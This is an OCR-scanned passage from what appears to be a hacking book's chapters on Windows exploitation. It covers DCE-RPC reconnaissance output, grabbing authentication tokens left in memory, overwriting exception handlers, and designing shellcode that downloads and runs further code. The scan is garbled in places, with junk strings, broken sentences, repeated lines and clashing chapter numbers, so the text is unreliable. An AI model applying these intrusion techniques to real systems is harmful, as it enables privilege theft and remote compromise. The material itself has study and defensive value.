vulnerabilities for the Solaris and Tru64 operating systems. As Solaris runs on an
entirely different architecture than the Linux and Windows content described thus
far, it may at first appear alien to you. The two Solaris chapters will have you
hacking Solaris on SPARC like a champ, introducing the Solaris platform in
Chapter 10 and delving into more advanced concepts in Chapter 11, such as
abusing the Procedure Linkage Table and the use of native blowfish encryption in
shellcode.

Finally, the part will be rounded out with an examination of vulnerability

development for the HP Tre64 platforms in Chapter 12.
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CHAPTER
6

The Wild World
of Windows

We have reached the point in the book in which all operating systems will be
defined by their differences from Linux. This chapter will give experienced
Win32 hackers a fresh perspective on Windows issues and at the same time
allow Unix-oriented hackers to gain a good grasp of Win32 internals. At the
end of this chapter, you should be able to write a basic Windows exploit and
avoid some of the common pitfalls that will stand in your way when you
attempt more complex exploits.

You'll also gain an understanding of how to use basic Windows debugging
tools. Along the way you'll develop an understanding of the Windows security
and programming model and a basic knowledge of Distributed Component
Object Model(DCOM) and Portable Executable—Common File
Format(PE-COFF). In short, this chapter contains everything an expert-level
hacker with years of real-world experience would have loved to know when
first learning to attack Windows platforms.

How Does Windows Differ from Linux?

The Windows NT team made a few design decisions early on that profoundly
affected every resulting architecture. The NT project was in full swing in 1989,
with its first release in 1991 as Windows NT 3.1. Most of the internals
originally were taken from VMS, although there were several major
differences between VMS and NT, notably an inclusion of kernel threads in
the early versions of the NT kernel. In this chapter, we will visit some major
features of NT that may not be recognizable to someone used to Linux or
Unix irtarfzl®)’ s presents
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Win32 APl and PE-COFF

OllyDbg, a full-featured, assembler-level, analyzing debugger that runs on
Windows (see Figure 6.1), is a powerful tool for binary analysis. You will best
understand the content in this chapter when working with a binary analysis
debugger such as OllyDbg. To apply what you learn here, you will need a tool
with its features. OllyDbg is distributed under a shareware license and found
at http://home.t-online.de/home/ollydba/.

The native API for Windows programs is the 32-bit Windows API, which a
Linux programmer can think of simply as a collection of all the shared libraries
available in fustr/lib.

\N®oRl= If you are a little rusty on the Windows API or are entirely new
to it, you can read an excellent online tutorial on the Windows API by
Brook Miles at www.winprog.org/tutorial/.
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A skilled Linux programmer can write a program that talks directly to the kernel,
for example by using the open() or write() syscalls. No such luck on Windows.
Each new service pack and release of Windows NT changes the kernel interface,
and a corresponding set of libraries (known as Dynamic Link Libraries [DLLs]) are
included with the release to make programs continues to work. DLLS provide a
way for a process to call a function that is not part of its own executable code. The
executable code for the function is located in a DLL, containing one or more
functions that are compiled, linked, and stored separately from the processes
using them. The Windows API is implemented as an orderly set of DLLs, so any
process using the Win32 API uses dynamic linking.

This gives the Windows Kernel Team a way to change their internal APls, or to
add complex new functionality to them, while still providing a reasonably stable
API for program developers to use. In contrast, you can’t add a new argument to a
syscall in any Unix variant without a horde of programmers calling foul.

Like any modern operating system, Windows uses a relocatable file format that
gets loaded at runtime to provide the functionality of shared libraries. In Linux,
these would be .so files, but in Windows these are DLLs. Much like a .so is an ELF
file, a DLL is a PE-COFF file (also referred to as PE—portable executable).
PE-COFF was derived from the Unix COFF format. PE files are portable because
they can be loaded on every 32-bit Windows platform; the PE loader accepts this
file format.

A PE file has an import and export table at the beginning of the file that
indicates both what files the PE needs to find and what functions inside those files
it needs. The export indicates what functions the DLL provides. It also marks
where in the file, once loaded into memory, to find the functions. The import table
lists all the functions that the PE file uses that are in DLLs, as well as listing the
name of the DLL in which the imported function resides.

Most PE files are relocatable. Like ELF files, a PE file is composed of various
sections; the .reloc section can be used to relocate the DLL in memory. The
purpose of the .reloc section is to allow one program to load two DLLs that were
compiled to use the same memory spce.

Unlike Unix, the default behavior in Windows is to search for DLLs within the
current working directory before it searches anywhere else. This provides certain
abilities to escape Citrix or Terminal Server restrictions form a hacker’'s
perspective, but from a developer’s perspective it allows an application developer
to distribute a version of a DLL that may be different from the one in the system
root (\winnt\system32). This kind of versioning issue is sometimes called DLL-hell.
A user will have to adjust their PATH environment variable and move DLLs around
so that they don't conflict with each other when trying to load a broken program.

An important first thing to learn about PE-COFF is the Relative Virtual Address
(RVA). RVAs are used to reduce the amount of work that the PE loader must
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accomplish. Functions can be relocated anywhere in the virtual address space; it
would be extremely expensive if the PE loader had to fix every relocatable item.
You'll notice as you learn Win32 that Microsoft tends to use acronyms (RVA,AV
[Access Violation], AD [Active Directory], and so forth) rather than abbreviating the
terms themselves as done in Unix (tmp, etc, vi, segfault). Each new Microsoft
document introduces a few thousand additional terms and their associated
acronyms.

N[@]J)= Fun fact for conspiracy theorists: Near the Microsoft campus is a
rather prominent Scientologist building that no one ever seems to go into
or come out of.

RVA is just longhand for saying “Each DLL gets loaded into memory at a base
address, and then you add the RVA to the base address to find something.” So,
for example, the function malloc() is in the DLL msvcrt.dll. The header in msvcrt.dll
contains a table of functions that msvcrt.dll provides, the export table. The export
table contains a string with malloc and an RVA (for example, at 2000); after the
DLL is loaded into memory, perhaps at 0x80000000, you can find the malloc
function by going to 0x80002000. The default Windows NT location into which
an .EXE is loaded is 0x40000000. This may change depending on language
packs or compiler options, bug is reasonably standard.

Symbols for PE-COFF files distributed by Microsoft are usually contained
externally. You can download symbol packs for each version of their operating
systems form Microsoft's MSDN Web site, or use their Symbol Server remotely
with WinDbg. OllyDbg does not currently support the remote Symbol Server.

For more on PE-COFF, search Microsoft’'s Web site for “PE-COFF.” As a final
note, keep in mind that, like a few broken Unixes, Windows NT will not let you
delete a file that is currently in use.

Heaps

When a DLL gets loaded, it calls an initialization function. This function often sets
up its own heap using HeapCreate () and stores a global variable as a pointer to
that heap so that future allocation operations can use it instead of the default heap.
Most DLLs have a .data section in memory for storing global variables, and you

will often find useful function pointers or data structures stored in that area.
Because many DLLs are loaded, there are many heaps. With so many heaps to
keep track of, heap corruption attacks can become quite confusing. In Linux, there
is typically a single heap that can get corrupted, but in Windows, several heaps
may get corrupted at once, which makes analyzing the situation much more

COmPé%’ﬁi \%@n a ﬁ%rs%a}y%smalloc() in Win32, he or she is are actually using a
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function exported by msvcrt.dll, which then calls HeapAllocate() with msvcert.dil's
private heap. You may be tempted to try to use the HeapValidate() function to
analyze a heap corruption situation, but this function does not do anything useful.

The confusion generally occurs when you have finished exploiting a heap
overflow and you want to call some Win32 API functions with your shellcode.
Some of your functions will work and some will cause access violations inside
RtIHeapFree() or RtoHeapAllocate, which may terminate the process before
you've had a chance to take control. WinExec() and the like are notorious for not
working with a corrupted heap.

Each process has a default heap. The default heap can be found with
GetDefaultHeap(), although that heap is unlikely to be the one that got corrupted.
An important thing to note is that heaps an grow across segments. For example, if
you send enough data to 11S, you will notice it allocating segments in high-order
memory ranges and using that to store your data. Manipulating with which to
overwrite the return address, and if you need to get away from the low-memory
address of default heaps. For this reason, memory leaks in target programs can
become quite useful, because they let you fill all the program’s memory with your
shellcode.

Heap overflows on Windows are about as easy to write as they are on Unix.
Use the same basic technigues to exploit them—if you're careful, you can even
squeeze more than one write our of a heap overflow on Windows, which makes
reliable exploitation much easier.

Threading

Windows supports threads in a way that Linux never has and probably won't until
the 2.6 kernel. Threading allows one process to do multiple things, sharing a
single memory space. Windows’s kernel gives processor-time slices to threads,
not processes. Linux does things with a “light-weight process” model, which is
fairly weak; only when Linux Native Threads gets implemented will Linux be on
stable thread footing with the rest of the modern OS world. Threads simply aren’t
as important a programming model under Linux for reasons that will become clear
as the NT security structure is explained.

Threading is the reason for HRESULT.HRESULT, basically an integer value,
is returned by almost all Win32 API calls. HRESULT can be either an error value
or an OK value. If it is an error value, then you can get the specific error with
GetLastError(), which retrieves a value from the thread’s local storage. If you think
about Unix’s model, there’s no way to differentiate one thread’s errno from another.
Win32 was designed from the ground up to be a threaded model.
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Windows has no fork() (used to spawn a new process in Linux). Instead,
CreateProcess() will spawn a new process that has its own memory space. This
process can inherit any of the handles its parent has marked inheritable. However,
the parent must then pass these handles to the child itself or have the child guess
at their values (handles are typically small integers, like file handles).

Because almost all overflows occur in threads, the attacker never knows a
valid stack address. This meas the attacker almost always uses a return-into-libc
trick (although using any DLL, not just libc or the equivalent) to gain control of
execution.

The Genius and Idiocy of the Distributed
Common Object Model and DCE-PRC

The Distributed Common Object Model (DCOM), DCE-PRC, NT’s Threading and
Process Architecture, and NT’s Authentication Tokens are all interconnected. It
helps to first understand the overall philosophy of COM in order to understand
what sets COM apart from its Unix counterparts.

You should remember that Microsoft’s position on software has always been
to distribute binary packages for money and build an economy to support that.
Therefore, every Microsoft software architecture supports this model. You can
build a fairly complex application entirely by buying third-party COM modules from
various vendors, throwing them into a directory structure, and then using Visual
Basic script to tie them together.

COM objects can be written in any language COM supports and interoperate
seamlessly. Most of COM'’s idiosyncrasies come forth as natural design decisions;
for example, what is an integer to C++ may not be an integer to Visual Basic.

To dig deeper into COM, you should look at a typical Interface Description
Language (IDL) file. We’'ll use a DCOM IDL file, which you will recognize later.

[ uuid(e33c0cc4-0482-101a-bc0c-02608c6ba218),
version(1.0),
implicit_handle(handle_t rpc_binding)
] interface ?7??
{
typedef struct {
TYPE_2 element_1;
TYPE_3 element_2;

} Type_1;

short Ifunction_OO{
team 509 s presents
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[in] long element_9,

[in] [unique] [string] wchar_t *element_10,
[in] [unique] TYPE_1 *element_11,

[in] [unique] TYPE_1 *element_12,

[in] [unique] TYPE_2 *element_13,

[in] long element_14,

[in] long element_15,

[out] [context_handle] void *element_16

What we've defined here is similar to a C++ class’s header file. It simply says
that these are the arguments (and return values) for a particular function in a
particular interface as defined by that UUID. Anything that must be unique—any
name—is a GUID in COM. This 128-bit number is supposed to be globally unique;
i.e., there can be only one. Every time we see a reference to that particular UUID,
we know we're talking about this exact interface.

Interface descriptions for COM objects can be arbitrarily complex. The
compiler (and COM support) for the language is supposed to create a bit of code
that can transform as long as the IDL specifies it into the format in which the
language needs it to be represented. It is the same with characters, arrays,
pointers stored with arrays, structures that have other arrays, and so on.

In practice, a number of shortcuts can be taken to maintain acceptable speed.
By saying that a long will be 32 bits in little-endian order, transforming from C++ to
another C++ COM object’s representation is trivial.

A COM service can be called in two ways: It can be loaded directly into the
process space as a DLL, or it can be launched as a service ( by the Service
Control Manager, a special process that suns as SYSTEM). Running a COM
server in another process ensures that your process will be stable and more
secure, though much slower. In-Process calls, which require no transformation of
data types, are literally one thousand times faster than calling a COM interface on
the same machine but in a different process. Going to the same machine is
usually at least ten times faster than going to a machine on the same network.

The important thing to Microsoft was that programmers could make a simple
registry change or by changing one parameter in a program, that program would
use a different process, or a different machine to make the same call.

For example, look at the AT service on NT. If you were to write a program to
interact with AT and schedule commands, you could look up the interface
definition for the AT service, make a DCOM call to bind to that interface, and then
call a particular procedure on that interface. Of course, you’d need the IDL file to
know how to transform your arguments before you sent the data between your
process and the AT service’s process. This same procedure would work even if
the @recg:n?sg(%idsther%'ls' esr?féiceys process. This same procedure would work even
if the process were bn another computer entirely. In that case, your DCOM
libraries would connect to the remote computer’s endpoint mapper (TCP port 135)
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and then ask it where the AT service was listening. The endpoint mapper (itself a
DCOM service, but one that is always at a known port) would respond “The AT
service is listening on the following named pipe PRC services, which you can
connect to over ports 445 or 139. it is also listening on TCP port 1025 and UDP
port 1034 for DCE-PRC calls.” All of this would be transparent to the developer.

Now you know the genius of DCE-PRC and DCOM. You can sell binary
DCOM packages or simply put up a network-accessible machine with those
DCOM interfaces installed and let developers connect to them from Visual Basic,
C++, or any other DCOM- \ enabled language. For extra speed, you can load the
interfaces directly into your client process as a DLL. This paradigm is the basis of
almost all the features that make Windows NT a distinctive server platform. “Rich
clients,” “Remote manageability,” and “Rapid Application Development” are all just
the same thing—DCOM.

But of course, this is also the idiocy of DCE-RPC and DCOM. One man’s
remote manageability is another man’s remote vulnerability. As a hacker, your
goal is to know the target systems better than their administrators do. With DCOM
as a complex, impossible-to-understand basis for every aspect of a system’s
security, this is not hard to do.

In the next sections, we'll over a few of the basics for exploiting DCE-RPC
and DCOM.

Recon

The tools are available for basic remote DCE-PRC recon: Dave Aitel's SPIKE
(www.immuitysec.com/) and Todd Sabin’s DCE-RPC tools (available from
http://razor.bindview.com/ ).

In this example, we’ll use SPIKE’s dcedump utility to view the DCE-RPC
services (also known as DCOM interfaces) available remotely that are registered
with the endpoint mapper. This is roughly the same as calling rpcdump —p on a
Unix system.

[dave@localhost dcedump] $ ./dcedump 192.168.1.108 | head -20
DCE-PRC tester.

TcpConnected

Entrynum=0

annotation=
uuid=4f82f460-0e21-11cf-909e-00805f48a135 , version=4
Executable on NT: inetinfo.exe
ncacn_np:\WIN2KSRV\PIIPEANNTPSVC]

Entrynum=1

apREEAtsNS’ s presents
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Executable on NT: msdtc.exe
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ncalrpc[LRPC000001f4.00000001]
Entrynum=2

annotation=
uuid=906b0ce0-c70b-1067-b317-00dd010662da , version=1
Executable on NT: msdtc.exe
ncacn_ip_tcp:192.168.1.108[1025]

As you can see, here we have three different interfaces and three different
ways to connect to them. We can further examine the interface that the endpoint
mapper provides with SPIKE’s interface ids(ifids) utility. Likewise, we can examine
almost any other TCP enabled interface (msdtc.exe is one exception).

[dave@localhost dcedump]$ ./ifids 192.168.1.108 135
DCE-PRC IFIDS by Dave Aitel.

Finds all the interfaces and versions listening on that TCP port
Tcp Connceted

Found 11 entries
e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0
0b0a6584-9e0f-11cf-a3cf-00805f68ch1b v1.1
975201b0-59ca-11d0-a8d5-00a0c90d8051 v1.0
e60c73e6-88f9-11cf-9af1-0020af6e72f4 v2.0
99fcfec4-5260-101b-bbcb-00aa0021347a v0.0
b9e79e60-3d52-11ce-aaal-00006901293f v0.2
412f241e-c12a-11ce-abff-0020af6e7al7 v0.2
00000136-0000-0000-c000-000000000046 v0.0
c6f3ee72-ce7e-11d1-b71e-00c04fc3111a v1.0
4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0
000001a0-0000-0000-c000-000000000046 v0.0

Done

Now, these can be fen directly into SPIKE’s msrpcfuzz program to attempt to
find overflows in the endpoint mapper or in any other TCP service. If you had the
IDL for these services (you can get some of them from open source projects such
as Snort), you could guide your analysis of these functions. Otherwise you are
reduced to doing automatic or manual binary analysis. One program that may help
you is Muddle, by Matt Chapman. You can find this program at
www.cse.unsw.edu.au/~matthewc/muddle/; it will automatically decode certain
executables to tell you their arguments. Muddle generated the IDL fragment you
saw earlier in this chapter, which we took from the file for the PRC locator service.

Microsoft has tunneled the DCE-RPC protocol across almost anything it can
get its hands on. Form SMB to SOAP, if you can tunnel DCE-RPC across it,
you'veasndiled allMierssoftss tools. In the examples, you can see a DCE-PRC
over named pipe interface (ncacn_np), a DCE-RPC over Local RPC interface,
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and a DCE-PRC over TCP interface. Named pipe, TCP, and UDP interfaces are
all accessible remotely and should make your mouth water.

Exploitation

There are as many ways to exploit a remote DCOM service as there are to exploit
a remote SunRPC service. You can do popen() or system() style attacks, try to
access files on the file system, find buffer overflows or similar attacks, try to
bypass authentication, or anything else you can think up that a remote server
might be vulnerable to. The best tool currently publicly available for playing with
RPC services is SPIKE. However, if you want to exploit remote DCE-RPC
services, you will have to do a lot of work duplicating this protocol in the language
of your choice. CANVAS (www.immunitysec.om/CANVAS/) duplicates ECE-RPC
using Python.

At first you may be tempted to use Microsoft's internal APIs to do DCE-RPC
or DCOM exploitation work , but in the long run, your inability to directly control the
APIs will lead to shoddy exploits. Definitely keep to suing your own or an open
source protocol implementation if possible.

Tokens and Impersonation

Tokens are exactly what they sound like—representations of access rights. In
Windows, your access rights to things such as files or processes are not defined
by a simple user/group/any permission set the way they are on Linux. Instead they
use a flexible, and extremely poorly understood mechanism which relies on tokens.
In the smallest sense, a token is simply a 32-bit integer, much like a file handle.
The NT kernel maintains an internal structure per process that indicates what each
token represents in terms of access rights. For example, when a process wants to
spawn another process it must check to see if it can access the file it wants to
spawn.

Now, here is where things get complicated, because there are several types
of tokens, and two tokens can affect each operation: the primary token, and the
current thread token. The process was given the primary token when it started up.
The current thread token can be obtained from another process or from the
LogonUser() function. The LogonUser() function requires a username and
password and returns a new token if it is successful. You can attach any given
token to your current thread using SetThreadToken(token_to_attach) and remove
it with RevertToSelf(), at which point the thread reverts to the primary token.

For fun, load the Sysinternals(www.sysinternals.com) Process Explorer to a
process and you'll see several things: The primary token is printed out as ser
Name and you may see one or more tokens with varying levels of access listed in

the ?8%%”‘5%@3% %%rsee%.gsshows the various tokens in a process.
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Getting a token from another process is simple: The kernel will give you the
token of any process that is attached to a named pipe you created if you call
ImpersonateNamePipiClient(). Likewise you can impersonate remote DCE-RPC
clients or any client that gives you a username and password.

For example, when a user connects to a Unix ftp server, that server is running
as root, so it can use setuid() to change its user ID to whatever user the client
authenticates as. With Windows, the user sends a username and password, and
then the ftp server calls LogonUser() which returns a new token. It then spawns a
new thread and that thread calls SetThread Token(new_token). When that thread
is finished serving the client, it calls RevertToSelf() and joins the threadpool or
calls ExitThread() and disappears.

Think of this procedure as an opportunity for a hacker—in Unix when you've
exploited an ftp server with a buffer overflow after authenticating, you cannot
become root or any other user. In Windows, you will likely find tokens from all the
users who have authenticated recently waiting in memory for you to grab them
and use them. Of course, in many cases, the ftp server itself will be running as

SYSCTJEM’ g@g’ygtb?aégliezﬁs@rtToSelf() to gain that privilege.
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One common misunderstanding surrounds CreateProcess(). A Unix hacker will
often call execve(“/bin/sh”) as part of their shellcode, but under Windouss,
CreateProcess() users the primary token as the token for the new process and
uses the current thread token for all file access. This means that if the current
primary token is of a lower access level than the token of the current thread, the
new process may not be able to read or delete its own executable.

A good illustration of this quirk Is what happens during an IS attack. IIS’s
external components run inside processes whose primary tokens are IUSR or
IWAM rather than SYSTEM. However, these processes often have threads that
run inside them as SYSTEM. When an overflow gives a hacker control of one of
these threads and they download a file and CreateProcess() it they find
themselves running as IUSR or IWAM, but the file is owned by SYSTEM.

If you ever find yourself in this situation you have two options: you can use
DuplicateTokenEXx() to generate a new primary token, which you can assign to a
CreateProcessAsUser() call, or you can do all your work from within your current
thread by loading a DLL directly into memory or by using a simple shellcode that
does whatever you need from within the original process.

Exception Handling under Win32

In Linux, exception handlers are typically global; in other words, per-process. You
set an exception handler with the signal() system call, which gets called whenever
an exception such as a segfault (or in Windows terminology, an AV) occurs In
Windows, that global handler (in ntdll.dll) catches any and all exceptions and then
performs a fairly complex routine in order to determine to where it gives control.
Because the programming model under Windows NT is thread-focused, the
exception-handling model is also thread-focused.

Figure 6.3 may help explain exception handling under Windows NT.

As you can see in the figure, the cmd.exe process has two threads. The
second element of that structure (Structured Exception Handler [SEH]) is a
function pointer. As shown in Figure 6.3, the pointer to the next handler is set to -,
indicating no more handlers. However, if the first handler should choose not to
handle a given exception, then the next handler (if there is one) would do it, and so
on. If no handler wants to accept the exception, then the default exception handler
for the process handles it. Usually this results in the termination of the process.
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As a hacker you should now see several ways to take control of this system via
heap overflows or similar attacks that let you write a word into memory. You could
certainly overwrite the pointer to the SEH chain. Every process in a Win32
application has an operating system supplied SEH. The SEH is responsible for
displaying the error box that tells the user that the application has terminated. If
you happen to have a debugger running, then the SEH gives you an option to
debug the application. Another possibility is to overwrite the function pointer for the
handler on the stack, or you could overwrite the default exception handler.

On Windows XP you have another option: Vectored Exception handling.
Basically, it's just another linked list that the exception handling code in ntdll.dll
checks first. So now you have a global variable that gets called on every
exception—perfect for overwriting.
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Debugging Windows

You have basically three options for debugging Windows: the Microsoft tool chain,
WinDbg; a kernel debugger, SoftICE; or OllyDbg. You can also use Visual Studio
if you're so inclined.

Of these options, SoftICE is perhaps one of the oldest and most powerful.
SoftICE features a macro language and can debug kernelspace. The downside of
SoftICE is that it can be nearly impossible to install, and the GUI is somewhat
old-school. Its main use is for debugging new device drivers. For a long time it was
the only choice for a hacker, and so several good texts are available on how to
use it. While debugging the kernel, SoftICE sets all the pages to writable; be
aware of this fact if a kernel, SoftICE sets all the pages to writable; be aware of
this fact if a kernel overflow you are working with seems to work only while SoftICE
is enabled.

WinDbg can be set up to debug a kernel—although it requires a serial cable
and another computer—but it can also be extremely good for debugging an
overflow in user space. WinDbg has a primitive language, but the user interface is
terrible—almost impossible to use quickly and accurately. Nevertheless, because
Microsoft uses this debugger, it does have a few nifty advanced features, like
automatic access to their symbol server.

Just as SPIKE is the best fuzzer ever created, OllyDbg is the best debugger
ever created. It supports amazing features such as run-traces (which alow you to
execute backwards) memory searching, memory breakpoints( you can tell it to, for
example, set a break every time someone accesses anything in MSVCRT.DLL's
global data space), smart data windows(such as the ones above displaying the
thread structure), an assembler, a file patcher—basically everything you need. If
WinDbg doesn’t support something you need, you can e-mail the author and the
next version probably will. Spend some time attaching to processes with OllyDbg,
then fuzzing them with SPIKE and analyzing their exceptions. This will get you
quickly familiar with OllyDbg’s excellent GUI.

Bugs in Win32

There are many bugs in Win32, and many of these are undocumented and
painfully discovered by people writing shellcode. For example, Load LibraryA(),
which loads a DLL into memory, will fail if a period is in the PATH and the machine
has not been patched for this particular bug. The WinSock routines will fail if the
stack is not word aligned. Various other APIs are poorly documented on MSDN, if
at all.

The bo lipe is; your shellcode is not working, the reason could quite
t%ﬁ/]%b%%@ ué; %éﬁ%‘r%%

possi eab ows, and you might have to simply work around it.
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Writing Windows Shellcode

Writing reliable Windows shellcode was for a long time a somewhat secret affair.
The problem is that, unlike in Unix shellcode, you don’'t have system calls with a
known API. Instead, the process has loaded function pointers to external functions
such as CreateProcess() or ReadFile() into various places in memory. But you, the
attacker, don’t know where in memory these happen to be. Early shellcode just
assumed they were in a certain place or guessed that they were in one of a few
places. But this means that every time you create an exploit, you must version it
across several different service packs or executables.

The trick to writing reliable and reusable shellcode is that Windows stores a
pointer to the process environment block at a known location: FS: [0x30]. That
plus Oxc is the load order module list pointer. Now, you have a linked list of
modules you can traverse to look for kernel32.dIl. From that you can find
LoadLibraryA() and GetProcAddress(), which will allow you to load any needed
DLLs and fine the addresses of any other needed functions. You'll want to go back
and reread the PE-COFF document from Microsoft’s shellcode to do this.

This technique, however, tends to result in huge shellcode. Shellcode using this
technique can range from 300 to 800 bytes, depending on functionality. Halvar
Flake’s code is highly optimized and is somewhere around 290 bytes.

There is, of course, another way. Various Chinese hackers have been writing
shellcode that hunts through memory for kernel32 by setting an exception handler.
See various NSFOCUS exploits for this technique put into practice against IIS.

Even this shellcode can be fairly large. Therefore, CANVAS uses a separate
shellcode, which is 150 bytes encoded using CANYAS's chunked additive
encoder (similar to an XOR encoder/decoder but using addl! instead of xorl), which
simply uses exception handling to hunt through all the process memory for
another set of shellcode prefixed with 8 bytes of tag value. This shellcode has
proven to be highly reliable, and since you can put your main payload anywhere in
memory, you don’t have to worry about space restrictions.

A Hcker’'s Guide to the Win32 API

VrtualProtect() sets the access control to a page of memory. Useful for
changing .text segments to +w so that you can modify functions.

SetDefaultExceptionHandler Disassemble this to find the global exceptiong
handler location for a given service pack.
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TIsSetValue()/TIsGetValue() Thread Local Storage is a space that each
thread can use to store thread-specific variables (other than the stack or heap).
Sometimes valuable pointers that your shellcode may want to ravage are
located here.

WSASocket() Calling WSASocket() instead of socket() sets up a socket you
can use directly as standard in or standard out. This technique can be used to
make smaller shellcode if you're using shellcode that spawns a cmd.exe. (The
problem in socket handles created with socket() is in the SO_OPENTYPE
attribute.)

A Windows Family Tree from the Hacker’'s Perspective

Win9x/ME
B No user or security infrastructure (largely obsolete).
WINNT

B Hugely buggy PRC libraries make owning PRC services easy—PRC
data structures are not verified by default the way they are in Win2K, so
almost any bad data will make them crash.

B Doesn't support some NTLMv2 and other authentication options,
making sniffing nicer.

B IS 4.0 runs entirely as system and doesn’t reatart after it crashes.
Win2K

B NTLMv2 makes headway among entirely Win2K installation bases.

B RPC libraries much less buggy than NT4.0(which isn’t saying much).
B SP4—Exception registers are cleared.
[

[IS 5.0 runs as system, but most URL handlers don’t run as system
(with the exception of FrontPage, WebDav, and the like).

Win XP

B Addition of Vectored Exception Handling makes things easier for heap
overflows.

B SP1—Exception registers are cleared.

B |IS 5.1—URLs are limited to a reasonable size.

team 509’ s presents



The Wild World of Windows 121

Windows 2003 Server
B Entire OS compiled with stack canary, including kernel.
B Parts of IIS moved into the kernel.

W IS 6.0 still written in C++, now runs under an entirely different setup
with a management process and a bunch of managed processes, each
of which can serve port 80/443 from particular URLs and virtual hosts.

B Can finally detach from a process without it crashing. In previous
version of Win32, if you attached to a process with the debugger,
detaching would forcefully kill it. This was useful sometimes, but mostly
just annoying.

Conclusion

In this chapter, you learned the basic differences between exploitation on
Linux/Unix and Windows. The same high-level concepts such as syscalls and
process memory are present on Windows, but from a hacker’s point of view, the
implementation is grossly different. Armed with your knowledge of exploitation on
Windows, you will be able to proceed to the next chapters, which cover Windows
hacking in detail.
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CHAPTER
4

Windows Shellcode

One author’s girlfriend continually reminds him that “writing shellcode is the easy
part.” And, in fact, it usually is —but like anything on Windows, it can also be an
insanely frustrating part. Let’s review shellcode for a bit, and then delve into the
oddities that make Windows shellcode so entertaining. Along the way, we’ll
discuss the differences between AT&T and Intel syntax, how the various bugs in
the Win32 system will affect you, and the direction of advanced Windows
shellcode research.

Syntax and Filters

First, few Windows shellcodes are small enough to work without an
encoder/decoder. In any case, if you are writing many exploits, you may want to
involve a standardized encoder/decoder API to avoid constantly tweaking your
shellcode. Immunity CANVAS uses an “additive” encoder/decoder. That is, it
treats the shellcode as a list of unsigned longs, and for each unsigned long in the
list, it adds a number X to it in order to create another unsigned long that has no
bad characters in it. To find X, it randomly chooses numbers until one works. This
sort of random structure works very shell; however, other people are just as happy
with XOR or any other character- or word-based operation.
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It's important to remember that a decoder is just a function y=f(x) that expands
X into a different character space. If x can only contain lowercase alphabetic
characters, then f(x) could be a function that transforms lowercase characters into
arbitrary binary characters and jumps to those, or it could be a function that
transforms lowercase characters into uppercase characters and jumps to those. In
other words, when you're facing a really strict filter, you should not try to solve the
whole problem all at once—it may be easier to convert your attack string into
arbitrary binary in stages, using multiple decoders.

In any case, we will ignore the decoder/encoder issue in this chapter. We
assume that you know how to get arbitrary binary data into the process space and
jump to it. Once you've become proficient at writing Linux shellcode, you should
be reasonably competent at writing x86 assembly. | write Win32 shellcode the
same way | write Linux shellcode, using the same tools. | find that if you learn to
use only one toolset for your shellcode needs, your shellcoding life is easier in the
long run. In my opinion, you don’t need to buy Visual Studio to write shellcode.
Cygwin is a good shellcode creation tool, and it is freely available
(www.cygwin.org/). Installing Cygwin can be a bit slow, so make sure you open a
development tool (gcc, as, and others) when you install it. Many people prefer to
use NASM or some other assembler to write their shellcode, but these tools can
make writing routines and testing compilation difficult.

X86 AT&T SYNTAX VERSUS INTEL SYNTAX

There are two main differences between AT&T syntax and Intel syntax.
The first is that AT&T syntax uses the mnemonic source, dest whereas
Intel uses the mnemonic dest, source. This reversal can get confusing
when translating to GNU'’s gas (which uses AT&T) and OllyDbg or other
Windows tools, which use Intel. Assuming you can switch operands
around a comma in your head, one more important difference between
AT&T and Intel syntax exists: addressing.

Addressing in x86 is handled with two registers, an additive value, and
a scale value, which can be 1,2,4, or 8.

Hence, mov eax, [ecx+ebx*4+5000] (in Intel syntax for OllyDbg) is
equivalent to mov 5000(%ecx,%ebx,4), %eax in GNU assembler syntax
(AT&T).

I would exhort you to learn and use AT&T syntax for one simple
reason: It is unambiguous. Consider the statement mov eax, [ecx+ebx].
Which register is the base register, and which register is the scale
register? This matters especially when trying to avoid characters,
because switching the two registers, while they seem identical, will
assembintoriwestatally different instructions.
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Setting up

Windows shellcode suffers from one major problem: Win32 offers no way to obtain
direct access to the system call. Surprisingly, this peculiarity was deliberate.
Typically all the things about Windows that make it awful are also the things that
make it great. In this case, the Win32 designers can fix or extend a buggy
internal system call APl without breaking any of the applications that use Win32's
higher-lever API.

For a small piece of assembly code that happens to be running inside another
program, your shellcode has its work cut out for it, as follows:

B |t must find the Win32 API functions it needs and build a call table.
B |t must load whatever libraries you need in order to get connectivity out.

B [t must connect to a remote server, download more shellcode, and execute
it.

It must exit cleanly, resuming the process or simply terminating it nicely.
It must prevent other threads from killing it.

It must repair one or more heaps if it wants to make Win32 calls that use
the heap.

Finding the needed Win32 API functions used to be a simple matter of
hardcoding either the addresses of the functions themselves or the addresses of
GetProcAddressA() and LoadLibraryA() for a particular version of Windows into
your shellcode. This method is still one of the quickest ways to write Win32
shellcode, but suffers from being tied to a particular version of the executable or
Windows version. However, as the slammer worm taught us, hardcoding of
addresses can sometimes be a valuable shellcoding method.

IN[OJI= The Slammer source code is widely available on the Internet, and
provides a good example of hardcoded addresses.

In order to prevent reliance on any particular state of the executable or OS, you
must use other techniques. One way to find the location of functions is to emulate
the method a normal DLL would use to link into a process. You could also search
through memory for kernel32.dll to find the process environment block for
kernel32.dll( this method is often used by Chinese shellcoders). Later in the
chapter we will show you how to use the Windows exception-handling system to
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Parsing the PEB

The code in the following example is taken from Windows shellcode originally
used for the CANVAS product. Before we do a line-by-line analysis, you should
know some of the design decisions that went into developing the shellcode:

B Reliability was a key issue. It had to work every time, with no outside
dependencies.

B Extendibility was important. Understandable shellcode makes a big
difference when you want to customize it in some way you didn’t foresee.

B Size is always important with shellcode—the smaller the better.
Compressing shellcode takes time, however, and may obfuscate the
shellcode and make it unmanageable. For this reason, the shellcode
shown below is quite large. We overcome the problem with the Structured
Exception Handler (SEH) hunting shellcode, as you'll see later. If you want
to spend time learning x86 and squeezing down this shellcode, by all
means, feel free.

Note that because this is a simple C file that gcc can parse, it can be written and
compiled equally as well on any x86 platform that gcc supports. Let's take a
line-by-line at the shellcode, heapoverflow.c, and see how it works.

Heapoverflow.c Analysis

Ouir first step is to include windows.h, so that if we want to write Win32-specific
code for testing purposes—usually to get the value of some Win32 constant or
structure—we can.

/Ireleased under the GNU PUBLIC LICENSE v2.0
#include <stdio.h>

#include <malloc.h>

#ifdef Win32

#include <windows.h>

#endif

We start the shellcode function, which is just a thin wrapper around gcc asm()
statements with several .set statements. These statements don't produce any
code or take up any space; they exist to give us an easily manageable place in
which to store constants that we’ll use inside the shellcode.

void
getprocaddr()

